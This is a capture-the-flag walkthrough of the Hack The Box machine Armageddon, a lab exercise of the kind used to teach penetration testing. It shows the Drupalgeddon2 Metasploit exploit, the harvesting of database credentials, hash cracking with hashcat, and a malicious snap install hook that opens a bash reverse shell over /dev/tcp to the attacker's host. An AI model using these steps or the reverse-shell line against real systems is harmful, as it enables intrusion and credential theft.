Armageddon Writeup
15 October 2022 #CTF #HTB #box #easy #linuxEnumeration
You shall not not run an nmap
scan:
$ sudo nmap -p- -T4 -oN enum/fulltcp.nmap 10.10.10.233
[...]
22/tcp open ssh
80/tcp open http
[...]
$ ports=$(awk -F/ '/^[[:digit:]]{1,5}\// {printf "%s,", $1}' enum/fulltcp.nmap)
$ sudo nmap -p $ports -sCV -oN enum/scripts-tcp.nmap 10.10.10.233
[...]
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 82c6bbc7026a93bb7ccbdd9c30937934 (RSA)
| 256 3aca9530f312d7ca4505bcc7f116bbfc (ECDSA)
|_ 256 7ad4b36879cf628a7d5a61e7060f5f33 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-title: Welcome to Armageddon | Armageddon
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
[...]
HTTP
Taking a look at the website, there is just a login page:
nmap
told us the site is using Drupal, which is a CMS like Wordpress.
Do not waste any more time and run gobuster
:
$ gobuster dir -u http://10.10.10.233/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -o enum/80-root.dir -x php,txt -t 35
[...]
/index.php (Status: 200)[Size: 7440]
/misc (Status: 301)[Size: 233][--> http://10.10.10.233/misc/]
/themes (Status: 301)[Size: 235][--> http://10.10.10.233/themes/]
/modules (Status: 301)[Size: 236][--> http://10.10.10.233/modules/]
/scripts (Status: 301)[Size: 236][--> http://10.10.10.233/scripts/]
/sites (Status: 301)[Size: 234][--> http://10.10.10.233/sites/]
/includes (Status: 301)[Size: 237][--> http://10.10.10.233/includes/]
/install.php (Status: 200)[Size: 3172]
/profiles (Status: 301)[Size: 237][--> http://10.10.10.233/profiles/]
/README.txt (Status: 200)[Size: 5382]
/robots.txt (Status: 200)[Size: 2189]
/INSTALL.txt (Status: 200)[Size: 17995]
/LICENSE.txt (Status: 200)[Size: 18092]
/CHANGELOG.txt (Status: 200)[Size: 111613]
/xmlrpc.php (Status: 200)[Size: 42]
/COPYRIGHT.txt (Status: 200)[Size: 1481]
/UPGRADE.txt (Status: 200)[Size: 10123]
[...]
changelogs are always interesting files so let's check it out:
We get the exact version of our drupal instance. Let's throw it in searchsploit
:
$ searchsploit drupal 7
[...]
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution
[...]
Not only the version matches but also the name of the exploit is an obvious hint.
Foothold
There are many scripts available to exploit this vuln but the metasploit one was the most stable for me.
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
Then configure the different options and run:
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 10.10.10.233
RHOSTS => 10.10.10.233
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST tun0
LHOST => tun0
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run
[*] Started reverse TCP handler on 10.10.14.14:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Sending stage (39927 bytes) to 10.10.10.233
[*] Meterpreter session 1 opened (10.10.14.14:4444 -> 10.10.10.233:34290) at 2022-10-15 08:45:27 -0400
meterpreter > shell
Process 4036 created.
Channel 0 created.
id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
Privesc
Drupal config file is stored in /var/www/html/sites/default/settings.php
:
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupal',
'username' => 'drupaluser',
'password' => 'CQHEy@9M*m23gBVj',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
MySQL enumeration
We can access the mysql DB with these creds but the mysql
shell won't work here because our shell is funky. We can instead use the -e
option to specify a command to run:
mysql -u drupaluser -p -D drupal -e 'show tables;'
Enter password: CQHEy@9M*m23gBVj
[...]
taxonomy_vocabulary
url_alias
users
users_roles
variable
[...]
-D drupal
will tell mysql to use the drupal database.
Out of the many tables in this DB, 'users' is the most interesting for sure:
mysql -u drupaluser -p -D drupal -e 'select * from users\G'
Enter password: CQHEy@9M*m23gBVj
[...]
uid: 1
name: brucetherealadmin
pass: $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt
mail: admin@armageddon.eu
theme:
signature:
signature_format: filtered_html
created: 1606998756
access: 1607077194
login: 1607076276
status: 1
timezone: Europe/London
language:
picture: 0
init: admin@armageddon.eu
data: a:1:{s:7:"overlay";i:1;}
[...]
\G
instead of ;
formats the output in a nicer way.
Password Cracking
We have a hash so let's try to crack it:
$ echo '$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt' > hash.txt
$ hashcat hash.txt /usr/share/wordlists/rockyou.txt -O
[...]
$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt:booboo
[...]
hashcat can detect (most of the time) the hash type so we don't need to specify the -m
option explicitely.
Shell as brucetherealadmin
Now that we have a password, we need to check if 'brucetherealadmin' is an actual user on the box:
grep 'sh$' /etc/passwd
root:x:0:0:root:/root:/bin/bash
brucetherealadmin:x:1000:1000::/home/brucetherealadmin:/bin/bash
He is. We can try to login as him via ssh:
$ ssh brucetherealadmin@10.10.10.233
brucetherealadmin@10.10.10.233's password:
Last login: Fri Mar 19 08:01:19 2021 from 10.10.14.5
[brucetherealadmin@armageddon ~]$
And we get in! Let's start by checking sudo rules as always:
[brucetherealadmin@armageddon ~]$ sudo -l
Matching Defaults entries for brucetherealadmin on armageddon:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL
PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User brucetherealadmin may run the following commands on armageddon:
(root) NOPASSWD: /usr/bin/snap install *
We can run snap install
as root without password. Let's search through GTFOBins to see if we can exploit it:
Sounds exactly what we want!
Forge Malicious Snap Package
We'll need fpm to forge the spooky snap pacakge. Start by installing it:
$ gem install fpm
gem
is like pip
but for ruby.
With that out of the way let's actually build the package:
$ mkdir -p snap/meta/hooks
$ cd snap
$ cmd="bash -c 'bash -i >& /dev/tcp/10.10.14.14/4242 0>&1'"
$ printf '#!/bin/sh\n%s ; false' "$cmd" > meta/hooks/install
$ chmod +x meta/hooks/install
$ fpm -n gibshellplz -s dir -t snap -a all meta
Created package {:path=>"gibshellplz_1.0_all.snap"}
Now we just have to get this file on the target box. We'll use scp
:
$ scp gibshellplz_1.0_all.snap brucetherealadmin@10.10.10.233:
brucetherealadmin@10.10.10.233's password:
gibshellplz_1.0_all.snap 100% 4096 67.5KB/s 00:00
Let's go back to our ssh session and install our 'special' package:
[brucetherealadmin@armageddon ~]$ ls
gibshellplz_1.0_all.snap user.txt
[brucetherealadmin@armageddon ~]$ sudo snap install gibshellplz_1.0_all.snap --dangerous --devmode
Run install hook of "gibshellplz" snap if present
If all went well we should have a reverse shell as root on our nc
listenener.
Key Takeaways
- Always hunt for passwords in web directories
- Try to reuse creds for other services
- Check GTFOBins when you can run a known program as root